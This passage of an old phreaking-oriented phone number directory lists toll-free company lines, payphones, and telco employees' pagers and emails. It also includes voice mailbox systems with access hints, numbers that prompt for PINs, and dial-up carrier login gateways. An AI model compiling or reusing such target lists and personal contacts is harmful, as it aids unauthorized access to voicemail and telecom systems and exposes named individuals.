(U.S. only) +1-800-749-MOST Sprint Canada. +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-MOST Sprint Canada. +1-800-810-MOST Sprint Canada. +1-800-827-2200 Sprint Business. +1-800-827-3700 Sprint Long Distance. +1-800-827-4680 Sprint Business. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-827-4700 Sprint Long Distance. +1-800-827-4800 Sprint Business Sales Office. +1-800-827-9080 Sprint. +1-800-830-MOST Sprint Canada. +1-800-831-MOST Sprint Canada. +1-800-840-MOST Sprint Canada "The Most" Enrollment. +1-800-841-MOST Sprint Canada. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily) +1-800-877-4646 Sprint Account/Rewards/Calling Card customer services. +1-800-877-5045 Sprint Service Management Center. +1-800-877-8000 Sprint Operator assisted calls. +1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY) +1-800-890-6356 EarthLink Sprint. +1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English) +1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French) +1-800-994-MOST Sprint Canada. +1-800-EARTHLINK EarthLink Sprint. (Internet) +1-800-FON-CARD Sprint's automated calling. +1-877-283-2933 Sprint. +1-877-283-2934 Sprint's Business Line. +1-877-283-2935 Sprint Automated Customer Service. +1-877-4-NIGHTS Sprint Nickel Nights. +1-877-4-WEEKENDS Sprint Weekends. +1-877-4-YOURPLAN Sprint BusinessFlex. +1-877-431-EASY Sprint Canada Easy Unlimited. +1-877-591-EASY Sprint Canada Easy Unlimited. +1-877-592-EASY Sprint Canada Easy Unlimited. +1-877-597-EASY Sprint Canada Easy Unlimited. +1-877-598-EASY Sprint Canada Easy Unlimited. +1-877-5CONTACT Sprint. +1-877-602-EASY Sprint Canada Easy Unlimited. +1-877-727-5835 Sprint PCS. +1-877-931-EASY Sprint Canada Easy Unlimited. +1-877-935-EASY Sprint Canada Easy Unlimited. +1-877-939-EASY Sprint Canada Easy Unlimited. +1-877-940-EASY Sprint Canada Easy Unlimited. +1-877-941-EASY Sprint Canada Easy Unlimited. +1-877-943-EASY Sprint Canada Easy Unlimited. +1-877-945-EASY Sprint Canada Easy Unlimited. +1-877-950-EASY Sprint Canada Easy Unlimited. +1-877-951-EASY Sprint Canada Easy Unlimited. +1-877-953-EASY Sprint Canada Easy Unlimited. +1-877-955-EASY Sprint Canada Easy Unlimited. +1-877-PCS-PERKS Sprint PCS Northwest Airlines Program. +1-888-220-3763 Sprint Canada's "The Most" Online. +1-888-236-EASY Sprint Canada's "The Most" Online. +1-888-254-0701 Sprint Canada's "The Most" Online. +1-888-254-2927 Sprint Canada. +1-888-276-2179 Sprint PCS. +1-888-296-EASY Sprint Canada. +1-888-345-0718 Sprint Canada's "The Most" Online. +1-888-369-DATA Sprint. +1-888-371-EASY Sprint Canada. +1-888-4-SPRINT Sprint Business. +1-888-456-EASY Sprint Canada. +1-888-490-EASY Sprint Canada's "The Most" Online. +1-888-496-EASY Sprint Canada. +1-888-510-EASY Sprint Canada. +1-888-512-EASY Sprint Canada. +1-888-579-EASY Sprint Canada. +1-888-581-EASY Sprint Canada. +1-888-621-EASY Sprint Canada. +1-888-657-EASY Sprint Canada. +1-888-660-EASY Sprint Canada. +1-888-670-EASY Sprint Canada. +1-888-671-EASY Sprint Canada. +1-888-673-EASY Sprint Canada. +1-888-675-EASY Sprint Canada. +1-888-677-7464 EarthLink Sprint. +1-888-680-EASY Sprint Canada's "The Most" Online. +1-888-685-EASY Sprint Canada's "The Most" Online. +1-888-689-EASY Sprint Canada's "The Most" Online. +1-888-690-EASY Sprint Canada's "The Most" Online. +1-888-710-EASY Sprint Canada's "The Most" Online. +1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line. +1-888-790-EASY Sprint Canada. +1-888-890-2384 Sprint Canada (French) +1-888-998-2288 Sprint Canada (Chinese) +1-888-IN-TOUCH Sprint "Stay in touch" Services. + + +------------------------------------------------------------------------------- + US West: +------------------------------------------------------------------------------- + +(303) 896-7683 US West (Denver), automated job line. +1-800-227-2209 Enterprise US West Employee Help Line. +1-800-238-7848 US West "Air Touch" Cellular. +1-800-244-1111 US West Communications. +1-800-338-0018 US West Direct Yellow Pages. +1-800-422-8793 US West Directory Source. +1-800-455-8706 US West Repair Center for AT&T. +1-800-4US-WEST US West Card Services. +1-800-626-6611 US West "Air Touch" Cellular Customer Service. +1-800-7US-WEST "Please enter the area code..." +1-800-856-3376 US West Dispatch. (U.S. only) +1-800-879-4357 US West Employee Locator. +1-800-883-6171 US West Completions and Translations. (U.S. only) +1-800-8US-WEST "Please enter the area code..." +1-800-AIRTOUCH US West "Air Touch". +1-800-US-WEST0 "Enter Code." +1-888-4US-WEST US West Home Office Consulting Center. + + +------------------------------------------------------------------------------- + Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies: +------------------------------------------------------------------------------- + +(303) 499-7111 Atomic Clock in Colorado. +(937) 445-4357 NCR HQ. (option 2) +1-800-200-0068 Call Interactive. (listen to male and female voices) +1-800-201-0640 Touch 1 Communcations. +1-800-205-6700 coolemail.com +1-800-218-6850 MSN (Micro$oft Network) +1-800-221-2255 American Airlines VMS. +1-800-221-4009 London Telcom. +1-800-221-4677 Micro$oft Seminars. +1-800-222-5000 AAA's Air, Hotel and Car Reservations. +1-800-222-5161 IBM Program Headquarters. +1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back) +1-800-222-TIPS Crime Stoppers. +1-800-225-2255 ATN Communications. (collect, calling & credit card calls) +1-800-225-2545 Century Telephone Long Distance Calls (Hardy AR) +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5101 Cable Guide Hotline. +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5152 Nationwide Messaging. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support. +1-800-225-5265 1-800-COLLECT. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5373 3M Electronic Products Information. +1-800-225-5385 Compaq Computer Corporation. +1-800-225-5438 IDT Long Distance/Internet Services. +1-800-225-5455 Johnson and Johnson VMS. +1-800-225-5463 Directory Assistance (800-CALL-INFO) +1-800-225-5607 NOS automated collect, credit and calling card calls. +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-225-5664 NEC. +1-800-225-5854 Meridian Mail VMB. +1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!) +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line. +1-800-233-3382 Novell Education Programs. +1-800-235-1414 National Telewire Message Centre. +1-800-235-4008 Information America's Client Support. +1-800-242-0080 Compaq Corporation. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-243-8674 NRG Communications (MI) +1-800-245-4786 MSN (Micro$oft Network) +1-800-255-3700 Nintendo. +1-800-260-DELL DELL. +1-800-263-0656 NCR. +1-800-263-1121 Canon. +1-800-263-1136 Statistics Canada. +1-800-263-2244 Sanyo On-Site. +1-800-263-2777 IBM Software Replication Services. +1-800-263-3394 Apple Canada. +1-800-264-2255 InComNet National Telephone and Communications. +1-800-265-0977 NCR. +1-800-265-MUCH MuchMusic. (Much On Demand) +1-800-267-2772 Sitel Canada. +1-800-267-5251 Compaq Canada Services. +1-800-267-9010 Message Center Dispatch. +1-800-268-1221 Hewlett-Packard Canada Ltd. +1-800-268-3997 NEC. +1-800-272-6348 1-800-BRAND-IT (Toll Free Vanity Number Provider) +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-286-8241 Touch 1 Communications. +1-800-288-2880 OCI Communications. +1-800-289-3355 (1-800-BUY-DELL) DELL Canada. +1-800-289-6241 Mag-Lite flashlights. +1-800-294-0020 US Tel. (phone repairs and sales) +1-800-296-7160 DELL Canada. +1-800-300-2355 NOS. (calling card, collect calls, etc.) +1-800-320-3488 Motorola Radio Network Services in San Diego, CA. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-321-9998 World Access Canada. +1-800-324-1234 CTI Long Distance Customer Service. +1-800-325-9141 DELL Canada. +1-800-328-2174 Telematic. (these people are phreakymatic) +1-800-329-5683 Long Distance Roses (Colorado Springs, CO) +1-800-331-9922 General Motors Shareholder's Services. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-333-9967 Communication Options. +1-800-334-2255 GE Information Services Center. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-5236 Texas Instruments. +1-800-336-6000 Audix VMB. +1-800-339-6181 Toshiba. +1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service) +1-800-344-4825 (1-800-DIGITAL) Compaq Canada. +1-800-345-3444 AlternaCall Customer Information Line. +1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals) +1-800-353-0809 Call to remove yourself from Credit Card company lists. +1-800-354-9000 Compaq Customer Services. +1-800-355-6245 ATX Telecommunication Services. (Answering Machine) +1-800-359-9556 Samsung Telecommunications. +1-800-360-2255 Century 21 Realty VMS. +1-800-361-1319 Motorola Canada. +1-800-363-3811 Belcom Communications. +1-800-367-2346 Motorola Telecommunications Administration. +1-800-373-2324 McLeodUSA (Telephone directories and service) +1-800-381-7707 Rogers Cantel Service Barrie. +1-800-387-0005 Primus Canada. +1-800-387-2837 Dominion Telephone Systems Ltd. +1-800-387-4172 The Canadian Telephone Company Inc. +1-800-387-4268 Lucent Technologies. +1-800-387-4636 Nestle Canada. +1-800-387-5645 Toshiba. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals) +1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-395-4656 ITC Telecom Dispatch Service. +1-800-4-DOTCOM Network Solutions. (the Dot Com people) +1-800-4-LUCENT Lucent Technologies. +1-800-4-ONLINE America Online order line. +1-800-400-VIEW Rogers Cable's Viewer's Choice. +1-800-401-4141 FiberNet Telemanagement, Inc. +1-800-405-6543 American Mobile Customer Accounts Support Center. +1-800-407-2247 Quaker Oats Company. +1-800-418-6245 Blockbuster's VMS. +1-800-421-7944 NCR Benefits Service Center. +1-800-424-6262 ITT Voice Mail. (Meridian Mail) +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-0000 Systematic. +1-800-426-2255 (IBM-CALL) IBM Customer Support. +1-800-426-4000 Pearce Communications. +1-800-426-4682 IBM Performance Management and Capacity Planning Services. +1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support. +1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information. +1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota. +1-800-433-5853 All-Tel. +1-800-433-9996 Micro$oft TechHead '99 Registration Headquarters. +1-800-435-7194 Primus (Fax) +1-800-439-2204 Brewer's Retail Help Desk. (ask for free beer!) +1-800-444-2817 Primus Customer Care Center. (Spanish) +1-800-444-9000 Telecom USA. +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-448-2244 (1-800-HITACHI) Hitachi. +1-800-452-9996 Statistics Canada. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-2948 SkyWard Message Center. +1-800-455-4890 Pager that plays a South Park Song for the greeting. +1-800-455-5958 ITC Telecom. +1-800-456-3333 SkyTel National Sales Center. +1-800-457-1235 Lucent Technologies BCS Publications Center. +1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #) +1-800-461-2800 Canadian Tire Cardholder Services. +1-800-461-4575 Motorola Cellular Customer Service. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-462-9791 M Telecom Internet Business Services. +1-800-465-1176 Meridian Mail VMB. +1-800-465-7999 IBM Direct. +1-800-467-2355 CenturyTel. +1-800-468-1714 Hershey Canada. +1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service. +1-800-472-5451 Hershey Canada Inc. +1-800-475-3107 Joanne Wilson from IBM Global Services Pager. +1-800-477-9692 ATN Information and Customer Service. +1-800-483-1170 3Com's Customer Service after hours VMB. +1-800-483-1288 IBM Work Group Services. +1-800-483-4444 FirsTel Advanced Communications Customer Service Center. +1-800-483-5463 800 Ideas.com Incorporated. +1-800-483-6681 StarTech telco. +1-800-486-4835 SCO Unix Technical Support. +1-800-488-7040 ADT Security. +1-800-494-4884 Primus Trouble Reporting Department. +1-800-501-1150 Hershey Canada Inc. (French) +1-800-501-6245 Database America's answering machine. +1-800-509-1800 Novell's Customer Response Center. +1-800-521-5422 Group Long Distance (Fort Lauderdale, FL) +1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#) +1-800-524-3388 CompuServe. +1-800-524-4736 National Phone Lines (Hales Corners, WI) +1-800-525-5288 ATN Communications. +1-800-536-3273 Frontier Customer Service. +1-800-537-6737 Long Distance Roses. +1-800-539-6275 (1-800-LEXMARK) Lexmark Canada. +1-800-541-6821 Super Bureau Inc. (find documents on almost anyone) +1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, + Glossary of Terms, Acronyms and Jargon) +1-800-544-4660 Plantronics Telephone Headsets. +1-800-555-1212 Toll Free Directory Assistance/Info. +1-800-555-1313 SkyTel VMB. +1-800-555-1560 Audix VMB. +1-800-555-2052 Gateway 2000 International Department. +1-800-555-2091 Gateway 2000 International Department. +1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc. +1-800-555-3012 Gateway Direct Line. +1-800-555-4000 "Mike's" SkyTel Direct Dial VMB. Press "*" to access. +1-800-555-6620 Meridian Mail VMB. +1-800-555-7665 TelAmerica. +1-800-557-6245 Saloman Smith Barney VMS. +1-800-563-9048 Micro$oft Canada Sales and Information Centre. +1-800-565-2237 Acer America Corporation. +1-800-565-6317 Cadbury. +1-800-567-1616 Compaq Canada. +1-800-5678-HMV HMV Music Store. +1-800-569-DELL DELL. +1-800-576-2255 Frontier Communications Customer Service. +1-800-580-5585 WesTel Incorporated Customer Service. +1-800-582-3425 Idealdial Corporation (Colorado) +1-800-586-DELL DELL. +1-800-588-1111 ActionTel. +1-800-588-2222 ActionTel Customer Service. +1-800-594-3000 Call-Home America. +1-800-595-8480 Rogers@Home. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-627-5609 Conquest Customer Service. +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-628-8686 Intel Customer Service. +1-800-628-9526 Compaq Support Line. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-638-5298 Global Telecom. +1-800-638-9273 Novell Customer Support. +1-800-638-9636 Genie Online Service. +1-800-639-8359 (1-800-NEXTEL-9) Nextel. +1-800-647-2355 MinIowa PC Partner. +1-800-651-2355 MobileTel, Inc. +1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support. +1-800-658-5199 AccessData Corporation. (data recovery) +1-800-658-5600 All-Star Customer Service. +1-800-661-1886 Palco Telecom Inc. +1-800-661-7274 SeaChange (Internet Services) +1-800-663-7780 NCR Invoicing Department. +1-800-665-2775 Apple Canada Dealer Locator Line. +1-800-667-3601 Frontier SpeedLink. +1-800-667-7656 Accord Communications Inc. +1-800-668-3979 Bestobell Canada Ltd (Toronto) +1-800-669-1800 Burger King's VMB. (4 digit BNs) +1-800-672-3888 National Rifle Association Hotline. +1-800-678-8774 Source Resources (the source for finding people) +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-704-7977 Primus Communications. +1-800-724-3780 Seiger Electronics. +1-800-725-5288 ATN Communications. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.) +1-800-746-9930 Great Lakes Telephone Corp. +1-800-746-DELL DELL. +1-800-749-8000 Nextel International. +1-800-777-2255 Phone Works VMS. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-783-2020 Frontier Communications Customer Service. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-788-8588 Working Assets Long Distance. +1-800-792-1000 Columbia House CD-ROM Club. +1-800-8-PRIMUS Primus Customer Service Department. +1-800-800-8800 Target Directory. +1-800-821-1661 InterTel Network Services. +1-800-822-2000 Lucent Technologies. +1-800-825-2255 Metro-Call Customer Service. (pager service) +1-800-827-0035 America Online. +1-800-827-1200 American Directory Service Corporation. (order telephone books) +1-800-827-1225 IBM/NCR Retail Vendor Support Line. +1-800-828-3362 Novell Authorization Department. +1-800-829-1011 Network Management Center. +1-800-833-2700 Cooperative Communications, Inc. +1-800-833-2700 Cooperative Long Distance Services Inc (Kearny NJ) +1-800-835-7788 US Telecom International. +1-800-842-2255 American Express VMS (Audix) +1-800-842-2737 Texas Instruments. +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.) +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-1810 Cypress Semiconductor. +1-800-858-4000 Novell Technical Support. +1-800-864-8351 Quantum Link Communications. +1-800-872-4018 Century Telephone Long Distance Calls (La Crosse WI) +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-879-7660 Iomega's Instant Access Help System. +1-800-888-4848 Subway's VMS. +1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3") +1-800-892-3351 National Rifle Association (Join the NRA Now!) +1-800-900-DELL DELL. +1-800-909-3250 Meridian Mail VMB. +1-800-909-3436 Simtel Inc. Independent Payphone Service for New York/New Jersey +1-800-909-4672 National Rifle Association (NRA) +1-800-909-4945 Computer 411. +1-800-909-5008 LCC Network Services. +1-800-909-5109 Automated Transmitter System. +1-800-921-DELL DELL. +1-800-925-1111 TONE. Long Distance. +1-800-925-2289 US Tel Customer Service. +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-930-6644 Canada Reconnect. (Call if Bell cuts your phone service) +1-800-933-6600 Federal TransTel, Inc. +1-800-934-8642 VoiceNet Calling Cards (New York NY) +1-800-938-2255 Pilgrim Telephone. (Intimate Connections) +1-800-942-6227 Mostly Mac Inc. +1-800-948-DELL DELL. +1-800-949-6245 Phone Mail VMB. +1-800-951-2355 Cantel Communications. +1-800-954-2387 Frontier (Global Crossing) +1-800-954-6245 OcTel VMB. +1-800-968-0461 Enterprise Telephone. +1-800-999-2222 Pilgrim Telephone. +1-800-999-DELL DELL Canada. +1-800-DEFENDER Net Zero. (free Internet service) +1-800-DIAL-166 ATN Communications. +1-800-EASY-TEL EasyTel Calling Card Calls. +1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-NCR Pilgrim Telephone. +1-800-GETEVOICE eVoice by Nokia. +1-800-HI-ITS-ME AlternaCall Collect Calls. +1-800-IOPENER Netpliance. +1-800-KRAMERS The Real Kramer's Reality Tour in New York City. +1-800-MOLSON-1 Molson Canada. +1-800-O-CANADA Government of Canada. +1-800-OK-CANON Canon Canada. +1-800-ONTARIO Travelinx Ontario. (Tourism Information) +1-800-SCO-UNIX SCO Services Sales. +1-800-SKY-8888 SkyTel System Access. +1-800-SKY-FAXE SkyFax (SkyTel Faxing) +1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging) +1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging) +1-800-SKY-TALK SkyTalk (SkyTel Voice Mail) +1-800-SKYTEL5 SkyTel. +1-800-TOSHIBA Toshiba Computer Systems. +1-800-WILLIAMS Williams Communications Emergency line. +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-326-2826 NCR Bell Help Desk. +1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services. +1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada) +1-877-396-3939 Union Telecom. +1-877-4-BELLCO Cellular Connection. +1-877-4-LUCENT Lucent Technologies. +1-877-584-5551 AltaVista free access support line. (free Internet) +1-877-66-triOS TriOS Training Centres. (MCSE, Unix, Novell) +1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services. +1-877-724-2647 Security loser. +1-877-727-3375 MinIowa Help Desk. +1-877-742-7722 (1-800-SHARP-22) Sharp Canada Customer Care Center. +1-877-777-4681 (1-877-SPRINT-1) London Telecom Network. +1-877-875-2762 Pioneer Help Line. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-877-AIRFONE Message Center. +1-877-MOBILECOM 800 Ideas.com Inc. +1-877-MOTOROLA Motorola. +1-877-NOVELL-1 Novell. +1-877-ROGERS-1 Rogers Corporation. +1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System. +1-877-WILLIAMS Williams Long Distance (Collect Calls) +1-877-WINTEL-1 WinTel Communications. +1-877-WINTEL-2 WinTel Communications. +1-877-WINTEL-3 WinTel Communications. (French) +1-877-WINTEL-4 WinTel Communications. +1-877-WINTEL-5 WinTel Communications. +1-877-WINTEL-6 WinTel Communications. +1-877-WINTEL-8 WinTel Communications. +1-877-WINTEL-9 WinTel Communications. +1-877-YOUR-MSN Micro$oft Network. +1-88-TELIGENT Teligent. +1-888-25-GREAT Cleveland Hotline. +1-888-256-5678 NCR AlertLine. +1-888-257-8826 Cantel Centre de Communication. +1-888-266-7873 1-800-BRAND-IT (Toll Free Vanity Number Provider) +1-888-267-3856 Compaq. +1-888-288-4663 Rogers@Home Technical Support. +1-888-321-3737 VIF Internet. +1-888-339-1688 MediaOne. +1-888-349-6972 Micron Electronics Technical Support. +1-888-376-6843 Dial 800. +1-888-4-LUCENT Lucent Technologies Canada. +1-888-4-SENTEX Sentex Communications. +1-888-478-2730 I-Star Internet Incorporated. +1-888-504-2355 "Tony Bell" from Remax. +1-888-536-2355 "This is Ken Bell." (Voice) +1-888-553-8711 Telephone Support Systems. +1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services. +1-888-582-3688 Lucent Technologies. +1-888-622-3289 Fastekk Systems. +1-888-663-3279 Canada Trust Co. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-692-1122 CompuServe. +1-888-700-3279 InterTel Network Solutions. +1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer) +1-888-715-2355 Call Home America Ultimate 800. +1-888-736-8567 Motorola. +1-888-750-6990 Shaw@Home Technical Support. +1-888-751-8088 Guinness World Records. +1-888-774-6383 Prime Tel Communications, Inc. +1-888-791-0176 Primus Canada (iPrimus) +1-888-825-2355 Connect America. +1-888-839-9295 IBM Haliburton Service Desk. +1-888-871-5111 Hewlett-Packard Computer Supplies. +1-888-DELL-PCS DELL Canada. +1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only) +1-888-IBM-5800 IBM Small Business Solutions Center. +1-888-MILLENNIUM 800 Ideas.com +1-888-MOTOROLA Motorola. +1-888-ROGERS-1 Rogers Cable. +1-888-ROGERS-2 Rogers Connection. +1-888-SHAWPAGE Shaw Call Center. +1-888-STAR-602 Star Choice Customer Service. +1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch. +1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!) +1-888-WINTEL-1 WinTel Communications. +1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number. + + +------------------------------------------------------------------------------- + Payphones: +------------------------------------------------------------------------------- + +(519) 576-0354 Paytel Payphone Weber Street. Kitchener, ON. (C) (O) +(519) 576-5239 King Street. Kitchener, ON. (M) (O) +(519) 576-9444 King Street. Kitchener, ON. (M) (O) +(519) 578-9318 Highland Road Kitchener, ON. (M) (O) +(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O) +(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-4654 University of Waterloo Athletics Building. (DM) (I) +(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I) +(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O) +(519) 749-8877 1st Canadian Telecom Payphone Queen St. Kitchener, ON. (C) (O) +(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9357 King and Gaukel Street. Kitchener, ON. (M) (O) +(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O) +(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O) +(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O) +(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O) +(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O) +(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O) +(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O) +(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I) +(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O) +(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 888-0837 University of Waterloo Athletics Building. (M) (I) +(519) 888-7236 University Shops Plaza II Williams Cafe. (M) (I) +(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O) +(905) 946-9953 Markham, ON coffee shop. (A) (I) + +(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium, +(I)=Indoors, (M)=Millennium, (O)=Outdoors. + +For more payphone numbers, visit www.payphone-directory.org + + +------------------------------------------------------------------------------- + Telco Employees (Answering Machines and Pagers): +------------------------------------------------------------------------------- + +(416) 377-3724 Mike Turner's Pager (works for Bell) +(416) 379-2117 Dave Twiner's Pager (works for Bell) +(416) 581-3311 irene.shimoda@bell.ca +(514) 786-3655 shirley.bishop@bell.ca +1-800-407-2355 John with Southwestern Bell Wireless. +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-465-9625 Bell Canada Media Relations (Shirley Bishop) +1-800-493-2603 Kimberly Smith at Qwest Communications. +1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine) +1-800-661-0480 Debbie Southerland of Bell ActiMedia. +1-877-391-2007 Bell Canada Media Relations (Louis Arseneault) +1-888-482-0809 Bell Canada Media Relations (Irene Shimoda) + + +------------------------------------------------------------------------------- + Numbers that Require PINs: +------------------------------------------------------------------------------- + +1-800-235-3155 "Welcome. Enter the PIN number you wish." +1-800-249-6245 "Please enter your 7 digit access code." +1-800-309-6678 "Please enter your PIN number now." +1-800-352-8201 "Please enter your 4 digit PIN." +1-800-525-7877 "Please enter your 4 digit PIN." +1-800-549-6245 "Welcome. Enter the PIN number you wish." +1-800-555-2250 "Enter the PIN number you wish." +1-800-566-6245 "Please enter your four digit PIN." +1-800-643-6245 "Enter ID number immediately followed by your security code." +1-800-749-4200 "Enter the PIN number you wish." +1-800-827-4780 "Please enter your PIN number." +1-800-827-9910 SkyTel. "Enter the PIN number you wish." +1-800-862-6340 "Please enter your 4 digit PIN." +1-888-612-2355 "Enter the PIN number you wish." +1-888-614-2355 "Enter the PIN number you wish." +1-888-623-2355 "Enter the PIN number you wish." + + +------------------------------------------------------------------------------- + Carriers: +------------------------------------------------------------------------------- + +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-346-3247 CompuServe. +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-444-8697 RTK-NET. +1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + 